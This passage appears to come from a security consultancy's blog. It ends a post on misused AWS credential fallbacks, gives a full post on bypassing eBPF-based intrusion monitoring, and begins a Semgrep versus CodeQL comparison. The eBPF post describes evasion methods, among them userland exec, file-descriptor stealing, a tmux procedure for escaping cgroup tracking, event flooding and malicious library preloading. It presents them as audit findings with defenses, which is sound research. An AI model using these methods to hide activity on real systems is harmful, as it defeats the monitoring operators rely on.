<p>“AnonymousCredentials is an empty Credential object that can be used as dummy placeholder credentials for requests that do not need to be signed.
This <code class="language-plaintext highlighter-rouge">AnonymousCredentials</code> object can be used to configure a service not to sign requests when making service API calls. For example, when accessing public S3 buckets.”</p>
</blockquote>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">svc</span> <span class="o">:=</span> <span class="n">s3</span><span class="o">.</span><span class="n">New</span><span class="p">(</span><span class="n">session</span><span class="o">.</span><span class="n">Must</span><span class="p">(</span><span class="n">session</span><span class="o">.</span><span class="n">NewSession</span><span class="p">(</span><span class="o">&</span><span class="n">aws</span><span class="o">.</span><span class="n">Config</span><span class="p">{</span>
<span class="n">Credentials</span><span class="o">:</span> <span class="n">credentials</span><span class="o">.</span><span class="n">AnonymousCredentials</span><span class="p">,</span>
<span class="p">})))</span>
<span class="c">// Access public S3 buckets.</span>
</code></pre></div></div>
<p>Basically, the <code class="language-plaintext highlighter-rouge">AnonymousCredentials</code> object is just an empty Credential object:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">// source: https://github.com/aws/aws-sdk-go/blob/main/aws/credentials/credentials.go#L60</span>
<span class="c">// AnonymousCredentials is an empty Credential object that can be used as</span>
<span class="c">// dummy placeholder credentials for requests that do not need to be signed.</span>
<span class="c">//</span>
<span class="c">// These Credentials can be used to configure a service not to sign requests</span>
<span class="c">// when making service API calls. For example, when accessing public</span>
<span class="c">// s3 buckets.</span>
<span class="c">//</span>
<span class="c">// svc := s3.New(session.Must(session.NewSession(&aws.Config{</span>
<span class="c">// Credentials: credentials.AnonymousCredentials,</span>
<span class="c">// })))</span>
<span class="c">// // Access public S3 buckets.</span>
<span class="k">var</span> <span class="n">AnonymousCredentials</span> <span class="o">=</span> <span class="n">NewStaticCredentials</span><span class="p">(</span><span class="s">""</span><span class="p">,</span> <span class="s">""</span><span class="p">,</span> <span class="s">""</span><span class="p">)</span>
</code></pre></div></div>
<h3 id="for-cloud-security-auditors">For cloud security auditors</h3>
<p>The vulnerability could be also found in the usage of other AWS services.</p>
<p>While auditing cloud-driven web platforms, look for every code path involving an AWS SDK client initialization.</p>
<p>For every code path answer the following questions:</p>
<ol>
<li>
<p>Is the code path directly reachable from an end-user input point (feature or exposed API)?</p>
<p><em>e.g., AWS credentials taken from the user settings page within the platform or a user submits an AWS public resource to have it fetched/modified by the platform.</em></p>
</li>
<li>
<p>How are the client’s credentials initialized?</p>
<ul>
<li>credential provider chain - Look for the machine owned role in the chain
<ul>
<li>Is there a fall-back condition? Look if the end-user can reach that code path with some inputs. If it is used by default, go on
- Look for the role’s permissions</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">aws.Config</code> structure as input parameter - Look for the passed role’s permissions</li>
</ul>
</li>
<li>
<p>Can users abuse the functionality to make the platform use the privileged credentials on their behalf and point to private resources within the AWS account?</p>
<p><em>e.g., “import from S3” functionality abused to import the infrastructure’s private buckets</em></p>
</li>
</ol>
<h3 id="for-developers">For developers</h3>
<p>Use the <code class="language-plaintext highlighter-rouge">AnonymousAWSCredentials</code> to configure the AWS SDK client when dealing with public resources.</p>
<p>From the official AWS documentations:</p>
<blockquote>
<p>Using anonymous credentials will result in requests not being signed before sending them to the service. Any service that does not accept unsigned requests will return a service exception in this case.</p>
</blockquote>
<p>In case of user provided credentials being used to integrate with other cloud services, the platform should avoid implementing fall-back to system role patterns. Ensure that the user provided credentials are correctly set to avoid ending up with <code class="language-plaintext highlighter-rouge">aws.Config.Credentials = nil</code> because it would result in the client using the credentials provider chain → System role.</p>
<h2 id="hands-on-iac-lab">Hands-On IaC Lab</h2>
<p>As promised in the series’ introduction, we developed a Terraform (IaC) laboratory to deploy a vulnerable dummy application and play with the vulnerability: <a href="https://github.com/doyensec/cloudsec-tidbits/" target="_blank">https://github.com/doyensec/cloudsec-tidbits/</a></p>
<p>Stay tuned for the next episode!</p>
On Bypassing eBPF Security Monitoring2022-10-11T00:00:00+02:00https://blog.doyensec.com/2022/10/11/ebpf-bypass-security-monitoring<p>There are many security solutions available today that rely on the <a href="https://ebpf.io/">Extended Berkeley Packet Filter (eBPF)</a> features of the Linux kernel to monitor kernel functions. Such a paradigm shift in the latest monitoring technologies is being driven by a variety of reasons. Some of them are motivated by performance needs in an increasingly cloud-dominated world, among <a href="https://www.youtube.com/watch?v=44nV6Mj11uw">others</a>. The Linux kernel always had kernel tracing capabilities such as <a href="https://docs.kernel.org/trace/kprobes.html">kprobes</a> (2.6.9), <a href="https://www.kernel.org/doc/Documentation/trace/ftrace.txt">ftrace</a> (2.6.27 and later), <a href="https://perf.wiki.kernel.org/index.php/Main_Page">perf</a> (2.6.31), or <a href="https://docs.kernel.org/trace/uprobetracer.html">uprobes</a> (3.5), but with BPF it’s finally possible to run kernel-level programs on events and consequently modify the state of the system, without needing to write a kernel module. This has dramatic implications for any attacker looking to compromise a system and go undetected, opening new areas of research and application. Nowadays, eBFP-based programs are used for <a href="https://blog.cloudflare.com/how-to-drop-10-million-packets/">DDoS mitigations</a>, <a href="https://dl.acm.org/doi/abs/10.1016/j.jnca.2021.103283">intrusion detection</a>, <a href="https://developers.redhat.com/articles/2021/12/16/secure-your-kubernetes-deployments-ebpf">container security</a>, and general observability.</p>
<p>In 2021 <a href="https://goteleport.com/">Teleport</a> introduced a new feature called <a href="https://goteleport.com/blog/enhanced-session-recording/">Enhanced Session Recording</a> to close some monitoring gaps in Teleport’s audit abilities. All issues reported have been promptly fixed, mitigated or documented as described in their <a href="https://goteleport.com/resources/audits/teleport-features-security-audit-q4-2021/">public Q4 2021 report</a>. Below you can see an illustration of how we managed to bypass eBPF-based controls, along with some ideas on how red teams or malicious actors could evade these new intrusion detection mechanisms. These techniques can be generally applied to other targets while attempting to bypass any security monitoring solution based on eBPF:</p>
<ul id="markdown-toc">
<li><a href="#a-few-words-on-how-ebpf-works" id="markdown-toc-a-few-words-on-how-ebpf-works">A few words on how eBPF works</a></li>
<li><a href="#common-shortcomings--potential-bypasses-here-be-dragons" id="markdown-toc-common-shortcomings--potential-bypasses-here-be-dragons">Common shortcomings & potential bypasses (here be dragons)</a> <ul>
<li><a href="#1-understand-which-events-are-caught" id="markdown-toc-1-understand-which-events-are-caught">1. Understand which events are caught</a> <ul>
<li><a href="#11-execution-bypasses" id="markdown-toc-11-execution-bypasses">1.1 Execution bypasses</a></li>
<li><a href="#12-network-bypasses" id="markdown-toc-12-network-bypasses">1.2 Network bypasses</a></li>
</ul>
</li>
<li><a href="#2-delayed-execution" id="markdown-toc-2-delayed-execution">2. Delayed execution</a></li>
<li><a href="#3-evade-scoped-event-monitoring-based-on-cgroup" id="markdown-toc-3-evade-scoped-event-monitoring-based-on-cgroup">3. Evade scoped event monitoring based on <code class="language-plaintext highlighter-rouge">cgroup</code></a></li>
<li><a href="#4-memory-limits-and-loss-of-events" id="markdown-toc-4-memory-limits-and-loss-of-events">4. Memory limits and loss of events</a></li>
<li><a href="#5-never-trust-the-userspace" id="markdown-toc-5-never-trust-the-userspace">5. Never trust the userspace</a></li>
<li><a href="#6-abuse-the-lack-of-seccomp-bpf--kernel-discrepancies" id="markdown-toc-6-abuse-the-lack-of-seccomp-bpf--kernel-discrepancies">6. Abuse the lack of <code class="language-plaintext highlighter-rouge">seccomp-bpf</code> & kernel discrepancies</a></li>
<li><a href="#7-interfere-with-the-agents" id="markdown-toc-7-interfere-with-the-agents">7. Interfere with the agents</a></li>
</ul>
</li>
</ul>
<h2 id="a-few-words-on-how-ebpf-works">A few words on how eBPF works</h2>
<p><br />
<img src="../../../public/images/eBPF.png" alt="eBPF schema" align="center" style="display: block; margin-left: auto; margin-right: auto;" /></p>
<p>Extended BPF programs are written in a high-level language and compiled into eBPF bytecode using a toolchain. A user mode application loads the bytecode into the kernel using the <code class="language-plaintext highlighter-rouge">bpf()</code> syscall, where the eBPF verifier will perform a number of checks to ensure the program is “safe” to run in the kernel. This verification step is critical — eBPF exposes a path for unprivileged users to execute in ring 0. Since allowing unprivileged users to run code in the kernel is a ripe attack surface, several pieces of research in the past focused on local privilege exploitations (LPE), which we won’t cover in this blog post.
After the program is loaded, the user mode application attaches the program to a hook point that will trigger the execution when a certain hook point (event) is hit (occurs). The program can also be JIT compiled into native assembly instructions in some cases. User mode applications can interact with, and get data from, the eBPF program running in the kernel using eBPF maps and eBPF helper functions.</p>
<h2 id="common-shortcomings--potential-bypasses-here-be-dragons">Common shortcomings & potential bypasses (here be dragons)</h2>
<h3 id="1-understand-which-events-are-caught">1. Understand which events are caught</h3>
<p>While eBPF is fast (much faster than <a href="https://linux.die.net/man/8/auditd">auditd</a>), there are plenty of interesting areas that can’t be reasonably instrumented with BPF due to performance reasons. Depending on what the security monitoring solution wants to protect the most (e.g., network communication vs executions vs filesystem operations), there could be areas where excessive probing could lead to a performance overhead pushing the development team to ignore them. This depends on how the endpoint agent is designed and implemented, so carefully auditing the code security of the eBPF program is paramount.</p>
<h4 id="11-execution-bypasses">1.1 Execution bypasses</h4>
<p>By way of example, a simple monitoring solution could decide to hook only the <code class="language-plaintext highlighter-rouge">execve</code> system call. Contrary to popular belief, multiple ELF-based Unix-like kernels don’t need a file on disk to load and run code, even if they usually require one. One way to achieve this is by using a technique called reflective loading. Reflective loading is an important post-exploitation technique usually used to avoid detection and execute more complex tools in locked-down environments. The man page for <code class="language-plaintext highlighter-rouge">execve()</code> states: “<em><code class="language-plaintext highlighter-rouge">execve()</code> executes the program pointed to by filename…</em>”, and goes on to say that “<em>the text, data, bss, and stack of the calling process are overwritten by that of the program loaded</em>”. This overwriting doesn’t necessarily constitute something that the Linux kernel must have a monopoly over, unlike filesystem access, or any number of other things. Because of this, the <code class="language-plaintext highlighter-rouge">execve()</code> system call can be mimicked in userland with a minimal difficulty. Creating a new process image is therefore a simple matter of:</p>
<ul>
<li>cleaning out the address space;</li>
<li>checking for, and loading, the dynamic linker;</li>
<li>loading the binary;</li>
<li>initializing the stack;</li>
<li>determining the entry point and</li>
<li>transferring control of execution.</li>
</ul>
<p>By following these six steps, a new process image can be created and run. Since this technique was <a href="https://grugq.github.io/docs/ul_exec.txt">initially reported in 2004</a>, the process has nowadays been pioneered and streamlined by OTS post-exploitation tools. As anticipated, an eBPF program hooking <code class="language-plaintext highlighter-rouge">execve</code> would not be able to catch this, since this custom userland <code class="language-plaintext highlighter-rouge">exec</code> would effectively replace the existing process image within the current address space with a new one. In this, userland exec mimics the behavior of the system call <code class="language-plaintext highlighter-rouge">execve()</code>. However, because it operates in userland, the kernel process structures which describe the process image remain unchanged.</p>
<p>Other system calls may go unmonitored and decrease the detection capabilities of the monitoring solution. Some of these are <code class="language-plaintext highlighter-rouge">clone</code>, <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">vfork</code>, <code class="language-plaintext highlighter-rouge">creat</code>, or <code class="language-plaintext highlighter-rouge">execveat</code>.</p>
<p>Another potential bypass may be present if the BPF program is naive and trusts the <code class="language-plaintext highlighter-rouge">execve</code> syscall argument referencing the complete path of the file that is being executed. An attacker could create symbolic links of Unix binaries in different locations and execute them - thus tampering with the logs.</p>
<h4 id="12-network-bypasses">1.2 Network bypasses</h4>
<p>Not hooking all the network-related syscalls can have its own set of problems. Some monitoring solutions may only want to hook the EGRESS traffic, while an attacker could still send data to a non-allowed host abusing other network-sensitive operations (<a href="https://code.woboq.org/linux/linux/security/apparmor/include/audit.h.html#78">see</a> <code class="language-plaintext highlighter-rouge">aa_ops</code> at <code class="language-plaintext highlighter-rouge">linux/security/apparmor/include/audit.h:78</code>) related to INGRESS traffic:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">OP_BIND</code>, the <code class="language-plaintext highlighter-rouge">bind()</code> function shall assign a local socket address to a socket identified by descriptor socket that has no local socket address assigned.</li>
<li><code class="language-plaintext highlighter-rouge">OP_LISTEN</code>, the <code class="language-plaintext highlighter-rouge">listen()</code> function shall mark a connection-mode socket, specified by the socket argument, as accepting connections.</li>
<li><code class="language-plaintext highlighter-rouge">OP_ACCEPT</code>, the <code class="language-plaintext highlighter-rouge">accept()</code> function shall extract the first connection on the queue of pending connections, create a new socket with the same socket type protocol and address family as the specified socket, and allocate a new file descriptor for that socket.</li>
<li><code class="language-plaintext highlighter-rouge">OP_RECVMSG</code>, the <code class="language-plaintext highlighter-rouge">recvmsg()</code> function shall receive a message from a connection-mode or connectionless-mode socket.</li>
<li><code class="language-plaintext highlighter-rouge">OP_SETSOCKOPT</code>, the <code class="language-plaintext highlighter-rouge">setsockopt()</code> function shall set the option specified by the option_name argument, at the protocol level specified by the level argument, to the value pointed to by the option_value argument for the socket associated with the file descriptor specified by the socket argument. Interesting options for attackers are <code class="language-plaintext highlighter-rouge">SO_BROADCAST</code>, <code class="language-plaintext highlighter-rouge">SO_REUSEADDR</code>, <code class="language-plaintext highlighter-rouge">SO_DONTROUTE</code>.</li>
</ul>
<p>Generally, the network monitoring should look at all socket-based operations similarly to <em>AppArmor</em>.</p>
<p>In case the same local user has mixed monitored and unmonitored console sessions, it could be possible for an attacker in a monitored session to leverage open file descriptors and sockets to send data to restricted hosts. In 2020 some versions of Linux kernels had introduced a <a href="https://man7.org/linux/man-pages/man2/pidfd_getfd.2.html">new system call</a> to achieve this called <code class="language-plaintext highlighter-rouge">pidfd_getfd</code>. A small number of operating systems (like Ubuntu) implement the <a href="https://www.kernel.org/doc/Documentation/security/Yama.txt">Yama</a> kernel module that limit file descriptor access to only child-parent processes. A PoC code for using this function is available on Github (<a href="https://github.com/TheZ3ro/fdstealer">TheZ3ro/fdstealer</a>).</p>
<p><img src="../../../public/images/fd-stealing.png" alt="File descriptor stealing using pidfd_getfd" align="center" style="display: block; margin-left: auto; margin-right: auto;" /></p>
<h3 id="2-delayed-execution">2. Delayed execution</h3>
<p>If only active console sessions are monitored, eBPF programs may only live for the time span of the session. By delaying the execution of a command (through <code class="language-plaintext highlighter-rouge">sleep</code>, <code class="language-plaintext highlighter-rouge">timeout</code>, <code class="language-plaintext highlighter-rouge">sar</code>, <code class="language-plaintext highlighter-rouge">vmstat</code>, <code class="language-plaintext highlighter-rouge">inotifywait</code>, <code class="language-plaintext highlighter-rouge">at</code>, <code class="language-plaintext highlighter-rouge">cron</code> …) and quitting the session, it could be possible to completely evade the solution.</p>
<h3 id="3-evade-scoped-event-monitoring-based-on-cgroup">3. Evade scoped event monitoring based on <code class="language-plaintext highlighter-rouge">cgroup</code></h3>
<p>A security monitoring solution may only be interested in auditing a specific user or cgroup (such in the context of a remote console session). Taking Teleport as an example, it achieves this by correlating every event to a session with control groups (<code class="language-plaintext highlighter-rouge">cgroupv2</code> in particular). Control grouping is a Linux kernel feature to limit access to resources to a group of processes. It is used in many containerization technologies (behind the scenes Docker creates a set of namespaces and control groups for the container) and its peculiarity is that all child processes will keep the id of the parent process. When Teleport starts an SSH session, it first re-launches itself and places itself within a cgroup. This allows not only that process, but all future processes that Teleport launches, to be tracked with a unique ID. The BPF programs that Teleport runs have been updated to also emit the cgroup ID of the program executing them. The BPF script checks the value returned by <code class="language-plaintext highlighter-rouge">bpf_get_current_cgroup_id()</code> and only cares about the important session cgroup. The simplest evasion to this auditing strategy would be changing your cgroup ID, but an attacker needs to be root to achieve this. Meddling with the cgroupv2 pseudo file system or abusing PAM configuration are also potential opportunities to affect the cgroup/session correlation.</p>
<p>Another technique involves being reallocated by init. In the case of Teleport, when the <code class="language-plaintext highlighter-rouge">bash</code> process spawned by the session dies, its child processes become orphans and the Teleport process terminates its execution. When a child process becomes an orphan, it can be assigned to a different cgroup by the operating system under certain conditions (not having a tty, being a process group leader, joining a new process session). This allows an attacker to bypass the restrictions in place. The following PoC is an example of a bypass for this design:</p>
<ol>
<li>Open a new eBPF-monitored session</li>
<li>Start <a href="https://github.com/tmux/tmux/wiki">tmux</a> by executing the <code class="language-plaintext highlighter-rouge">tmux</code> command</li>
<li>Detach from <code class="language-plaintext highlighter-rouge">tmux</code> by pressing <code class="language-plaintext highlighter-rouge">CTRL+B</code> and then <code class="language-plaintext highlighter-rouge">D</code></li>
<li>Kill the bash process that is <code class="language-plaintext highlighter-rouge">tmux</code>’s parent</li>
<li>Re-attach to the <code class="language-plaintext highlighter-rouge">tmux</code> process by executing <code class="language-plaintext highlighter-rouge">tmux attach</code>. The process tree will now look like this:</li>
</ol>
<p><img src="../../../public/images/cgroup-evasion.png" alt="CGroupV2 evasion PoC" align="center" style="display: block; margin-left: auto; margin-right: auto;" /></p>
<p>As another attack avenue, leveraging processes run by different local users/<code class="language-plaintext highlighter-rouge">cgroupv2</code> on the machine (abusing other daemons, delegating systemd) can also help an attacker evade this. This aspect obviously depends on the system hosting the monitoring solution. Protecting against this is tricky, since even if <code class="language-plaintext highlighter-rouge">PR_SET_CHILD_SUBREAPER</code> is set to ensure that the descendants can’t re-parent themselves to init, if the ancestor reaper dies or is killed (DoS), then processes in that service can escape their cgroup “container”. Any compromise of this privileged service process (or malfeasance by it) allows it to kill its hierarchy manager process and escape all control.</p>
<h3 id="4-memory-limits-and-loss-of-events">4. Memory limits and loss of events</h3>
<p>BPF programs have a lot of constraints. Only 512 bytes of stack space are reserved for the eBPF program. Variables will get hoisted and instantiated at the start of execution, and if the script tries to dump syscall arguments or <code class="language-plaintext highlighter-rouge">pt-regs</code>, it will run out of stack space very quickly. If no workaround on the instruction limit is set, it could be possible to push the script into retrieving something too big to ever fit on the stack, losing visibility very soon when the execution gets complicated. But even when workarounds are used (e.g., when using multiple probes to trace the same events but capture different data, or split your code into multiple programs that call each other using a program map) there still may be a chance to abuse it. BPF programs are not meant to be run forever, but they have to stop at some point. By way of example, if a monitoring solution is running on CentOS 7 and trying to capture a process arguments and its environment variables, the emitted event could have too many argv and too many envp. Even in that case, you may miss some of them because the loop stops earlier. In these cases, the event data will be truncated. It’s important to note that these limitations are different based on the kernel where BPF is being run, and how the endpoint agent is written.</p>
<p>Another peculiarity of eBPFs is that they’ll drop events if they can not be consumed fast enough, instead of dragging down the performance of the entire system with it. An attacker could abuse this by generating a sufficient number of events to fill up the perf ringbuffer and overwrite data before the agent can read it.</p>
<h3 id="5-never-trust-the-userspace">5. Never trust the userspace</h3>
<p>The kernel-space understanding of a <code class="language-plaintext highlighter-rouge">pid</code> is not the same as the user-space understanding of a <code class="language-plaintext highlighter-rouge">pid</code>. If the eBPF script is trying to identify a file, the right way would be to get the inode number and device number, while a file descriptor won’t be as useful. Even in that case, probes could be subject to TOCTOU issues since they’ll be sending data to user mode that can easily change. If the script is instead tracing syscalls directly (using <code class="language-plaintext highlighter-rouge">tracepoint</code> or <code class="language-plaintext highlighter-rouge">kprobe</code>) it is probably stuck with file descriptors and it could be possible to obfuscate executions by playing around with the current working directory and file descriptors, (e.g., by combining <code class="language-plaintext highlighter-rouge">fchdir</code>, <code class="language-plaintext highlighter-rouge">openat</code>, and <code class="language-plaintext highlighter-rouge">execveat</code>).</p>
<h3 id="6-abuse-the-lack-of-seccomp-bpf--kernel-discrepancies">6. Abuse the lack of <code class="language-plaintext highlighter-rouge">seccomp-bpf</code> & kernel discrepancies</h3>
<p>eBPF-based monitoring solutions should protect themselves by using <a href="https://www.kernel.org/doc/html/v4.19/userspace-api/seccomp_filter.html">seccomp-BPF</a> to permanently drop the ability to make the <code class="language-plaintext highlighter-rouge">bpf()</code> syscall before spawning a console session. If not, an attacker will have the ability to make the bpf() syscall to unload the eBPF programs used to track execution. Seccomp-BPF uses BPF programs to filter arbitrary system calls and their arguments (constants only, no pointer dereference).</p>
<p>Another thing to keep in mind when working with kernels, is that interfaces aren’t guaranteed to be consistent and stable. An attacker may abuse eBPF programs if they are not run on verified kernel versions. Usually, conditional compilation for a different architecture is very convoluted for these programs and you may find that the variant for your specific kernel is not targeted correctly. One common pitfall of using seccomp-BPF is filtering on system call numbers without checking the <code class="language-plaintext highlighter-rouge">seccomp_data->arch</code> <a href="https://www.kernel.org/doc/Documentation/prctl/seccomp_filter.txt">BPF program argument</a>. This is because on any architecture that supports multiple system call invocation conventions, the system call numbers may vary based on the specific invocation. If the numbers in the different calling conventions overlap, then checks in the filters may be abused. It is therefore important to ensure that the differences in <code class="language-plaintext highlighter-rouge">bpf()</code> invocations for each newly supported architecture are taken into account by the seccomp-BPF filter rules.</p>
<h3 id="7-interfere-with-the-agents">7. Interfere with the agents</h3>
<p>Similarly to (6), it may be possible to interfere with the eBPF program loading in different ways, such as targeting the eBPF compiler libraries (<a href="https://github.com/iovisor/bcc">BCC</a>’s <code class="language-plaintext highlighter-rouge">libbcc.so</code>) or adapting other shared libraries preloading methods to tamper with the behavior of legit binaries of the solution, ultimately performing harmful actions. In case an attacker succeeds in altering the solution’s host environment, they can add in front of the <code class="language-plaintext highlighter-rouge">LD_LIBRARY_PATH</code>, a directory where they saved a malicious library having the same <code class="language-plaintext highlighter-rouge">libbcc.so</code> name and exporting all the symbols used (to avoid a runtime linkage error). When the solution starts, instead of the legit bcc library, it gets linked with the malicious library. Defenses against this may include using statically linked programs, linking the library with the full path, or running the program into a controlled environment.</p>
<p>Many thanks to the whole <a href="https://goteleport.com/">Teleport Security Team</a>, <a href="https://tmpout.sh/2/4.html">@FridayOrtiz</a>, <a href="https://twitter.com/th3zer0">@Th3Zer0</a>, & <a href="https://mobile.twitter.com/alessandrogario">@alessandrogario</a> for the inspiration and feedback while writing this blog post.</p>
Comparing Semgrep and CodeQL2022-10-06T00:00:00+02:00https://blog.doyensec.com/2022/10/06/semgrep-codeql<h3 id="introduction">Introduction</h3>
<p>Recently, a client of ours asked us to put R2c’s <a href="https://github.com/returntocorp/semgrep">Semgrep</a> in a head-to-head test with GitHub’s <a href="https://codeql.github.com/">CodeQL</a>. Semgrep is open source and free (with premium options). CodeQL “is free for research and open source” projects and accepts open source contributions to its libraries and queries, but is not free for most companies. Many of our engineers had already been using Semgrep frequently, so we were reasonably familiar with it. On the other hand, CodeQL hadn’t gained much traction for our internal purposes given the strict licensing around consulting. That said, our client’s use case is not the same as ours, so what works for us, may not work well for them. We have decided to share our results here.</p>
<h3 id="sast-background">SAST background</h3>
<p>A SAST tool generally consists of a few components 1) a lexer/parser to make sense of the language, 2) rules which process the output produced by the lexer/parser to find vulnerabilities and 3) tools to manage the output from the rules (tracking/ticketing, vulnerability classification, explanation text, prioritization, scheduling, third-party integrations, etc).</p>
<h3 id="difficulties-in-evaluating-sast-tools">Difficulties in evaluating SAST tools</h3>
<p>The rules are usually the source of most SAST complaints because ultimately, we all hope ideally that the tool produces perfect results, but that’s unrealistic. On one hand, you might get a tool that doesn’t find the bug you know is in the code (a false negative - FN) or on the other, it might return a bunch of useless supposed findings that are either lacking any real impact or potentially just plain wrong (a false positive - FP). This leads to our first issue when attempting to quantitatively measure how good a SAST tool is - what defines true/false or positives/negatives?</p>
<p>Some engineers might say a true positive is a demonstrably exploitable condition, while others would say matching the vulnerable pattern is all that matters, regardless of the broader context. Things are even more complicated for applications that incorporate vulnerable code patterns by design. For example, systems administration applications which executes shell commands, via parameters passed in a web request. In most environments, this is the worst possible scenario. However, for these types of apps, it’s their primary purpose. In those cases, engineers are then left with the subjective question of whether to classify a finding as a true or false positive where an application’s users can execute arbitrary code in an application, that they’d need to be fully and properly authenticated and authorized to do.</p>
<p>These types of issues come from asking too much of the SAST application and we should focus on locating vulnerable code patterns - leaving it to people to vet and sort the findings. This is one of the places where the third set of components comes into play and can be a real differentiator between SAST applications. How users can ignore the same finding class(es), findings on the same code, findings on certain paths, or conditionally ignoring things, becomes very important to filter the signal from the noise. Typically, these tools become more useful for organizations that are willing to commit the time to configure the scans properly and refine the results, rather than spending it triaging a bunch of issues they didn’t want to see in the first place and becoming frustrated.</p>
<p>Furthermore, quantitative comparisons between tools can be problematic for several reasons. For example, if tool A finds numerous low severity bugs, but misses a high severity one, while tool B finds only a high severity bug, but misses all the low severity ones, which is a better tool? Numerically, tool A would score better, but most organizations would rather find the higher severity vulnerability. If tool A finds one high severity vulnerability and B finds a different one, but not the one A finds, what does it mean? Some of these questions can be handled with statistical methods, but most people don’t usually take this approach. Additionally, issues can come up when you’re in a multi-language environment where a tool works great on one language and not so great on the others. Yet another twist might be if a tool missed a vulnerability that was due to a parsing error, that would certainly be fixed in a later release, rather than a rules matching issue specifically.</p>
<p>These types of concerns don’t necessarily have easy answers and it’s important to remember that any evaluation of a SAST tool is subject to variations based on the language(s) being examined, which rules are configured to run, the code repository’s structure and contents, and any customizations applied to the rules or tool configuration.</p>
<p>Another hurdle in properly evaluating a SAST tool is finding a body of code on which to test it. If the objective is to simply scan the code and verify whether the findings are true positives (TP) or false positives (FP), virtually any supported code could work, but finding true negatives (TN) and false negatives (FN) require prior knowledge of the security state of the code or having the code manually reviewed.</p>
<p>This then raises the question of how to quantify the negatives that a SAST tool can realistically discover. Broadly, a true positive is either a connection of a source and unprotected sink or possibly a stand-alone configuration (e.g., disabling a security feature). So how do we count true negatives specifically? Do we count the total number or sources that lead to a protected sink, the total of protected sinks, the total safe function calls (regardless if they are identified sinks), and all the safe configuration options? Of course, if the objective is solely to verify the relative quality of detection between competing software, simply comparing the results, provided all things were reasonably equal, can be sufficient.</p>
<div style="text-align: center;">
<img src="../../../public/images/codeqlvssemgrep.png" title="Semgrep VS CodeQL" alt="Semgrep VS CodeQL" align="center" style="display: block; margin-left: auto; margin-right: auto; " />
</div>
<h3 id="our-testing-methodology">Our testing methodology</h3>
<p>We utilized the <a href="https://owasp.org/www-project-benchmark/">OWASP Benchmark Project</a> to analyze pre-classified Java application code to provide a more accurate head-to-head comparison of Semgrep vs. CodeQL. While we encountered a few bugs running the tools, we were able to work around them and produce a working test and meaningful results.</p>
<p>Both CodeQL and Semgrep came with sample code used to demonstrate the tool’s capabilities. We used the test suite of sample vulnerabilities from each tool to test the other, swapping the tested files “cross-tool”. This was done with the assumption that the test suite for each tool should return 100% accurate results for the original tool, by design, but not necessarily for the other. Some modifications and omissions were necessary however, due to the organization and structure of the test files.</p>
<p>We also ran the tools against a version of our client’s code in the manner that required the least amount of configuration and/or knowledge of the tools. This was intended to show what you get “out of the box” for each tool. We iterated over several configurations of the tools and their rules, until we came to a meaningful, yet manageable set of results (due to time constraints).</p>
<h3 id="assigning-importance">Assigning importance</h3>
<p>When comparing SAST tools, based on past experience, we feel these criteria are important aspects that need to be examined.</p>
<ul>
<li>Language and framework support</li>
<li>Lexer/Parser functionality</li>
<li>Pre/post scan options (exclusions, disabling checks, filtering, etc.)</li>
<li>Rules</li>
<li>Findings workflows (internal tracking, ticket system integration, etc.)</li>
<li>Scan times</li>
</ul>
<h3 id="language-and-framework-support">Language and framework support</h3>
<p>The images below outline the supported languages for each tool, refer to the source links for additional information about the supported frameworks:</p>
<h5 id="semgrep">Semgrep:</h5>
<div style="text-align: center;">
<img src="/public/images/Semgrep_langs.png" alt="Semgrep results" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 300px;" />
</div>
<p>Source: <a href="https://semgrep.dev/docs/supported-languages/">https://semgrep.dev/docs/supported-languages/</a></p>
<h5 id="codeql">CodeQL:</h5>
<div style="text-align: center;">
<img src="/public/images/CodeQL_langs.png" alt="CodeQL results" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>Source: <a href="https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/">https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/</a></p>
<p>Not surprisingly, we see support for many of the most popular languages in both tools, but a larger number, both in GA and under development in Semgrep. Generally speaking, this gives an edge to Semgrep, but practically speaking, most organizations only care if it supports the language(s) they need to scan.</p>
<h3 id="lexerparser-functionality">Lexer/Parser functionality</h3>
<p>Lexer/parser performance will vary based on the language and framework, their versions and code complexity. It is only possible to get a general sense of this by scanning numerous repositories and monitoring for errors or examining the source of the parser and tool.</p>
<p>During testing on various applications, both tools encountered errors allowing only the partial parsing of many files. The thoroughness of the parsing results varied depending on the tool and on the code being analyzed. Testing our client’s Golang project, we did occasionally encounter parsing errors with both as well.</p>
<h5 id="semgrep-1">Semgrep:</h5>
<p>We encountered an issue when testing against third-party code where a custom function (<code class="language-plaintext highlighter-rouge">exit()</code>) was declared and used, despite being reserved, causing the parser to fail once the function was reached, due to invalid syntax. The two notable things here are that the code should theoretically not work properly and that despite this, Semgrep was still able to perform a partial examination. Semgrep excelled in terms of the ability to handle incomplete code or code with errors as it operates on a single file scope generally.</p>
<h5 id="codeql-1">CodeQL:</h5>
<p>CodeQL works a bit differently, in that it effectively creates a database from the code, allowing you to then write queries against that database to locate vulnerabilities. In order for it to do this, it requires a fully buildable application. This inherently means that it must be more strict with its ability to parse all the code.</p>
<p>In our testing, CodeQL generated errors on the majority of files that it had findings for (partial parsing at best), and almost none were analyzed without errors. Roughly 85% of files generated some errors during database creation.</p>
<p>According to CodeQL, a small number of extraction errors is normal, but a large number is not. It was unclear how to reduce the large number of extraction errors. According to CodeQL’s documentation, the only ways were to wait for CodeQL to release a fixed version of the extractor or to debug using the logs. We attempted to debug with the logs, but the error messages were not completely clear and it seemed that the two most common errors were related to the package names declared at the top of the files and variables being re-declared. It was not completely clear if these errors were due to an overly strict extractor or if the code being tested was incomplete.</p>
<p>Semgrep would seem to have the advantage here, but it’s not a completely fair comparison, due to the different modes of operation.</p>
<h3 id="prepost-scan-options">Pre/post scan options</h3>
<h5 id="semgrep-2">Semgrep:</h5>
<p>Among the options you can select when firing up a Semgrep scan are:</p>
<ul>
<li>Choosing which rules, or groups of rules, to run, or allowing automatic selection
<ul>
<li>Semgrep registry rules (remote community and r2c created; currently 973 rules)</li>
<li>Local custom rules and/or “ephemeral” rules passed as an argument on the command line</li>
<li>A combination of the above</li>
</ul>
</li>
<li>Choosing which languages to examine</li>
